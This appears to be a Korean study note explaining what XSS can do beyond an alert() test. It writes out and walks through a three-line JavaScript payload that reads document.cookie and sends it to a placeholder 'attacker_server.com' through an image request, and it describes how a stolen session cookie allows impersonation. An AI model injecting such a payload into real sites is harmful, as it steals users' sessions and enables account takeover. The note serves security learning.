Cookie 탈취
DATE : 2023/12/31
XSS에 관한 내용을 정리해보았으니, 이젠 XSS로 과연 무엇을 할 수 있을 지에 대해 고민해보자.
저번 주에 다룬 문제에서는 POC 개념으로 단순히 alert() 함수가 실행되는 지의 여부만 확인했었다.
하지만 현실에서는 이와 달리 좀 더 악의적인 목적을 가지고 XSS를 수행할 것이다.
XSS로 실행할 수 있는 다양한 형태의 스크립트가 존재하겠지만
그 중에서도 오늘은 cookie 탈취와 관련된 내용을 정리해보려고 한다.
우선 쿠키를 탈취하기 위한 스크립트를 먼저 작성해보자.
var data = document.cookie;
var image = new Image();
image.src = "http://attacker_server.com/?cookie="data;
전체 내용은 총 3줄로 어렵지 않게 쿠키를 탈취할 수 있다!
스크립트 내용을 설명하기 전에 정확히 이해해야 할 것은
스크립트가 실행되는 위치가 사용자의 브라우저라는 것이다.
따라서 위의 스크립트를 받은 브라우저는
var data = document.cookie;
자신이 가지고 있는 쿠키 정보를 변수 data에 할당한 다음 HTML <img> tag를 생성한다.
var image = new Image();
<img> tag는 말 그대로 화면에 이미지를 출력할 때 사용하는 태그인데
무조건 출력할 이미지의 주소를 적어줘야 한다.
따라서 속성 src에
image.src = "http://attacker_server.com/?cookie="data;
공격자 서버로 data를 보내는 URL을 적어주면 된다.
스크립트의 마지막 줄을 브라우저가 실행하게 되면
이미지를 출력하기 위해 src에 적힌 경로로 요청을 보내게 되는데
http://attacker_server.com/?cookie=data
이 요청은 결국 공격자 서버로 쿠키를 보내라는 의미이기 때문에
결과적으로 사용자의 쿠키를 공격자의 서버에서 확인할 수 있게 되는 것이다.
즉! XSS 공격 포인트를 찾아서 이와 같은 스크립트를 삽입하게 되면
사용자는 아무 것도 모른 채 자신의 쿠키를 공격자에게 넘겨 주게 되는 것이고
만약 로그인한 사용자의 쿠키를 탈취하게 되면
공격자는 자신이 얻은 쿠키를 활용해 다른 사용자의 신원으로 위장함으로써
로그인 인증 과정을 우회할 수 있게 된다..!
따라서 alert()만 띄우는 단순한 공격이 아닌, 생각보다 중대한 피해를 입을 수 있음을 알아야 한다! 👍
Last updated